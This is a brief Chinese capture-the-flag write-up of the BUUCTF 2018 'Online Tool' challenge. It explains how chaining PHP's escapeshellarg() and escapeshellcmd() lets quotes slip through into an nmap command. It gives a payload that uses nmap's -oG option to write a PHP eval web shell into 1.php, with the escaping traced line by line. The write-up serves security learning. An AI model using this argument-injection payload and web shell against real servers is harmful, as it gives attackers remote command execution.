1. 程式人生 > 其它 >BUUCTF-[BUUCTF 2018]Online Tool

BUUCTF-[BUUCTF 2018]Online Tool

BUUCTF-[BUUCTF 2018]Online Tool WriteUp

知識點

  • 認識escapeshellarg()函式和escapeshellcmd()函式用法,和兩個組合起來的漏洞

    • escapeshellarg()函式:將給字串增加一對單引號並且能引用或者轉碼任何已經存在的單引號

    • escapeshellcmd():對字串中可能會欺騙shell 命令執行任意命令的字元(比如&#;`|*?~<>^()[]{}$, \x0A 和 \xFF)進行轉義

  • 知道nmap -oG引數。可以利用其將字串寫入

解題

  • 開啟之後顯示審計程式碼、

  • 給host傳參,簡單測試一下。

  • 傳入的值經過兩個函式過濾,最終變成安全的,但是有漏洞

  • 構造最終payload:'<?php @eval($_GET["cmd"]);?> -oG 1.php '

  • 為什麼會這樣,根據下面的一些知識來手寫一下

  • <?php @eval($_GET["cmd"]);?> -oG 1.php '
    '<?php @eval($_GET["cmd"]);?> -oG 1.php '\'''
    '<?php @eval($_GET["cmd"]);?> -oG 1.php '\\''\'
    
    '<?php @eval($_GET["cmd"]);?> -oG 1.php '
    ''\''<?php @eval($_GET["cmd"]);?> -oG 1.php '\'''
    ''\\''<?php @eval($_GET["cmd"]);?> -oG 1.php '\\'''
    ->
    \<?php @eval($_GET["cmd"]);?> -oG 1.php \
    
  • 說白了就是利用兩個函式,構造兩個引號,最終不讓-oG成為字串,同時也讓一句話木馬不是字串,可以寫入檔案中而且還可以執行